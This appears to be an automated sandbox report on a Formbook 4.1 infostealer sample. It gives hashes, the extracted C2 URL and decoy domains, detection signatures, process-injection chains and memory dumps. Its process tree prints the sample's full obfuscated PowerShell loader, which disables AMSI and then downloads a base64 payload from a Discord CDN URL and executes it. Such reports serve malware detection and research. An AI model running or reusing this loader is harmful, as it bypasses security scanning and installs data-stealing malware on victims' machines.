formbook | 51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541

General

Target

06daa4f472383226392964c70e34c376.exe
Size

65KB
MD5

06daa4f472383226392964c70e34c376
SHA1

b47a3554b0bf7250caa0f84090fb387cb332f31b
SHA256

51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541
SHA512

9f220bc3f4c097d582f2958e57255e862f1b67191c6409ea0199a1c9ce3bd57830f7d9cd86c38925b7c61d744a77cbd51d2b59ffee9f66d57e0ee2a4ab654dee

Score

10^/10

formbook rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.howmucharemyrarecoinsworth.com/jn7g/

Decoy

mojketering.com

signinsimple.com

theartclouds.com

xmartmanagement.com

akademisantri.com

knitsu.com

funeralhomeswarrensburgil.com

formatohd.xyz

ortetiles.com

myeduhubs.com

twinpiques.com

itpaystobefashionable.com

3drinkminimum.com

wanpoo1.com

crystalclearlifecoachingcc.com

dronerealestate.net

langers.email

konstela.com

enteratecondanielvelasquez.com

graceinhomeschoolchaos.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/992-162-0x0000000000400000-0x000000000042E000-memory.dmp	formbook
behavioral2/memory/992-163-0x000000000041EBD0-mapping.dmp	formbook
behavioral2/memory/2320-174-0x00000000001D0000-0x00000000001FE000-memory.dmp	formbook

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

9 2128 Powershell.exe
12 2128 Powershell.exe
14 2128 Powershell.exe

flow	pid	process
9	2128	Powershell.exe
12	2128	Powershell.exe
14	2128	Powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Powershell.execalc.execmd.exe

description	pid	process	target process
PID 2128 set thread context of 992	2128	Powershell.exe	calc.exe
PID 992 set thread context of 2756	992	calc.exe	Explorer.EXE
PID 2320 set thread context of 2756	2320	cmd.exe	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Powershell.execalc.execmd.exe

pid	process
2128	Powershell.exe
2128	Powershell.exe
2128	Powershell.exe
2128	Powershell.exe
2128	Powershell.exe
2128	Powershell.exe
2128	Powershell.exe
2128	Powershell.exe
992	calc.exe
992	calc.exe
992	calc.exe
992	calc.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe
2320	cmd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2756 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

calc.execmd.exe

pid process

992 calc.exe
992 calc.exe
992 calc.exe
2320 cmd.exe
2320 cmd.exe

pid	process
2756	Explorer.EXE

pid	process
992	calc.exe
992	calc.exe
992	calc.exe
2320	cmd.exe
2320	cmd.exe

Suspicious use of AdjustPrivilegeToken 51 IoCs

Processes:

Powershell.execalc.exeExplorer.EXEcmd.exe

description	pid	process
Token: SeDebugPrivilege	2128	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2128	Powershell.exe
Token: SeSecurityPrivilege	2128	Powershell.exe
Token: SeTakeOwnershipPrivilege	2128	Powershell.exe
Token: SeLoadDriverPrivilege	2128	Powershell.exe
Token: SeSystemProfilePrivilege	2128	Powershell.exe
Token: SeSystemtimePrivilege	2128	Powershell.exe
Token: SeProfSingleProcessPrivilege	2128	Powershell.exe
Token: SeIncBasePriorityPrivilege	2128	Powershell.exe
Token: SeCreatePagefilePrivilege	2128	Powershell.exe
Token: SeBackupPrivilege	2128	Powershell.exe
Token: SeRestorePrivilege	2128	Powershell.exe
Token: SeShutdownPrivilege	2128	Powershell.exe
Token: SeDebugPrivilege	2128	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2128	Powershell.exe
Token: SeRemoteShutdownPrivilege	2128	Powershell.exe
Token: SeUndockPrivilege	2128	Powershell.exe
Token: SeManageVolumePrivilege	2128	Powershell.exe
Token: 33	2128	Powershell.exe
Token: 34	2128	Powershell.exe
Token: 35	2128	Powershell.exe
Token: 36	2128	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2128	Powershell.exe
Token: SeSecurityPrivilege	2128	Powershell.exe
Token: SeTakeOwnershipPrivilege	2128	Powershell.exe
Token: SeLoadDriverPrivilege	2128	Powershell.exe
Token: SeSystemProfilePrivilege	2128	Powershell.exe
Token: SeSystemtimePrivilege	2128	Powershell.exe
Token: SeProfSingleProcessPrivilege	2128	Powershell.exe
Token: SeIncBasePriorityPrivilege	2128	Powershell.exe
Token: SeCreatePagefilePrivilege	2128	Powershell.exe
Token: SeBackupPrivilege	2128	Powershell.exe
Token: SeRestorePrivilege	2128	Powershell.exe
Token: SeShutdownPrivilege	2128	Powershell.exe
Token: SeDebugPrivilege	2128	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2128	Powershell.exe
Token: SeRemoteShutdownPrivilege	2128	Powershell.exe
Token: SeUndockPrivilege	2128	Powershell.exe
Token: SeManageVolumePrivilege	2128	Powershell.exe
Token: 33	2128	Powershell.exe
Token: 34	2128	Powershell.exe
Token: 35	2128	Powershell.exe
Token: 36	2128	Powershell.exe
Token: SeDebugPrivilege	992	calc.exe
Token: SeShutdownPrivilege	2756	Explorer.EXE
Token: SeCreatePagefilePrivilege	2756	Explorer.EXE
Token: SeDebugPrivilege	2320	cmd.exe
Token: SeShutdownPrivilege	2756	Explorer.EXE
Token: SeCreatePagefilePrivilege	2756	Explorer.EXE
Token: SeShutdownPrivilege	2756	Explorer.EXE
Token: SeCreatePagefilePrivilege	2756	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

2756 Explorer.EXE

pid	process
2756	Explorer.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

06daa4f472383226392964c70e34c376.exePowershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 3236 wrote to memory of 2128	3236	06daa4f472383226392964c70e34c376.exe	Powershell.exe
PID 3236 wrote to memory of 2128	3236	06daa4f472383226392964c70e34c376.exe	Powershell.exe
PID 2128 wrote to memory of 992	2128	Powershell.exe	calc.exe
PID 2128 wrote to memory of 992	2128	Powershell.exe	calc.exe
PID 2128 wrote to memory of 992	2128	Powershell.exe	calc.exe
PID 2128 wrote to memory of 992	2128	Powershell.exe	calc.exe
PID 2128 wrote to memory of 992	2128	Powershell.exe	calc.exe
PID 2128 wrote to memory of 992	2128	Powershell.exe	calc.exe
PID 2756 wrote to memory of 2320	2756	Explorer.EXE	cmd.exe
PID 2756 wrote to memory of 2320	2756	Explorer.EXE	cmd.exe
PID 2756 wrote to memory of 2320	2756	Explorer.EXE	cmd.exe
PID 2320 wrote to memory of 2928	2320	cmd.exe	cmd.exe
PID 2320 wrote to memory of 2928	2320	cmd.exe	cmd.exe
PID 2320 wrote to memory of 2928	2320	cmd.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:2756

C:\Users\Admin\AppData\Local\Temp\06daa4f472383226392964c70e34c376.exe
"C:\Users\Admin\AppData\Local\Temp\06daa4f472383226392964c70e34c376.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3236

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$76545677866555677886556778657=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,53,56,55,57,51,51,50,50,48,56,55,55,49,48,55,53,51,47,56,54,51,56,57,56,49,51,54,56,53,52,48,48,51,55,50,50,47,109,101,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($76545677866555677886556778657)|I`E`X
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128

C:\WINDOWS\syswow64\calc.exe
"{path}"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:992

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\SysWOW64\cmd.exe
/c del "C:\WINDOWS\syswow64\calc.exe"
3⤵
PID:2928

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/992-162-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/992-168-0x0000000000550000-0x0000000000564000-memory.dmp

Filesize
80KB

Download
memory/992-167-0x0000000002A90000-0x0000000002DB0000-memory.dmp

Filesize
3.1MB

Download
memory/992-163-0x000000000041EBD0-mapping.dmp

Download
memory/2128-144-0x0000024FC87F6000-0x0000024FC87F8000-memory.dmp

Filesize
8KB

Download
memory/2128-119-0x0000024FC87F0000-0x0000024FC87F2000-memory.dmp

Filesize
8KB

Download
memory/2128-159-0x0000024FC99E0000-0x0000024FC9A3A000-memory.dmp

Filesize
360KB

Download
memory/2128-125-0x0000024FC9490000-0x0000024FC9491000-memory.dmp

Filesize
4KB

Download
memory/2128-121-0x0000024FC8940000-0x0000024FC8941000-memory.dmp

Filesize
4KB

Download
memory/2128-166-0x0000024FC87F8000-0x0000024FC87F9000-memory.dmp

Filesize
4KB

Download
memory/2128-120-0x0000024FC87F3000-0x0000024FC87F5000-memory.dmp

Filesize
8KB

Download
memory/2128-114-0x0000000000000000-mapping.dmp

Download
memory/2320-171-0x0000000000000000-mapping.dmp

Download
memory/2320-174-0x00000000001D0000-0x00000000001FE000-memory.dmp

Filesize
184KB

Download
memory/2320-173-0x0000000000CD0000-0x0000000000D29000-memory.dmp

Filesize
356KB

Download
memory/2320-175-0x0000000002ED0000-0x00000000031F0000-memory.dmp

Filesize
3.1MB

Download
memory/2320-176-0x0000000000BB0000-0x0000000000C43000-memory.dmp

Filesize
588KB

Download
memory/2756-169-0x0000000004C50000-0x0000000004D89000-memory.dmp

Filesize
1.2MB

Download
memory/2756-177-0x0000000004D90000-0x0000000004E96000-memory.dmp

Filesize
1.0MB

Download
memory/2928-172-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads